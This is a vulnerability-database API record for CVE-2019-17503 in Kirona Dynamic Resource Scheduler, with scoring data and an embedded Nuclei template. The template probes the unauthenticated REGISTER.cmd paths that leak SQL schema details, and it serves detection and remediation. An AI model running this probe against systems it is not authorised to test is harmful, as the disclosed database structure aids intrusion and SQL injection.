{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-17503/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-17503/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-17503/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-17503/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-17503/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-17503"},"sightings":{"href":"/api/v1/sightings/cve-2019-17503"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.48303,"kev":false,"percentile":0.9881},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-17503.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2019-17503\n\ninfo:\n  name: Kirona Dynamic Resource Scheduler - Information Disclosure\n  author: LogicalHunter\n  severity: medium\n  description: Kirona Dynamic Resource Scheduler is susceptible to information disclosure. An unauthenticated user can directly access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd), which contains sensitive information with exposed SQL queries, such as database version, table name, and column name.\n  impact: |\n    Unauthenticated attackers can access sensitive information including database version, table names, and column names through exposed SQL queries, facilitating further SQL injection or database attacks.\n  remediation: |\n    Apply the latest patch or update provided by the vendor to fix the information disclosure vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/47498\n    - https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS%205.5.3.5%20Multiple%20Vulnerabilities\n    - http://packetstormsecurity.com/files/154838/Kirona-DRS-5.5.3.5-Information-Disclosure.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-17503\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2019-17503\n    cwe-id: CWE-425\n    epss-score: 0.48303\n    epss-percentile: 0.9881\n    cpe: cpe:2.3:a:kirona:dynamic_resource_scheduling:5.5.3.5:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: kirona\n    product: dynamic_resource_scheduling\n  tags: cve,cve2019,exposure,edb,packetstorm,kirona,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/osm/REGISTER.cmd\"\n      - \"{{BaseURL}}/osm_tiles/REGISTER.cmd\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"DEBUGMAPSCRIPT=TRUE\"\n          - \"@echo off\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220126ec04b5ee089730e0bd7886fbd5d52101a4631d8e6b578f9fea60e5419bcf90220221bb46fd9a123132f6ad8a1e9d7e09c7a82a81e4b956e4ae37932b903458536:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-17503"}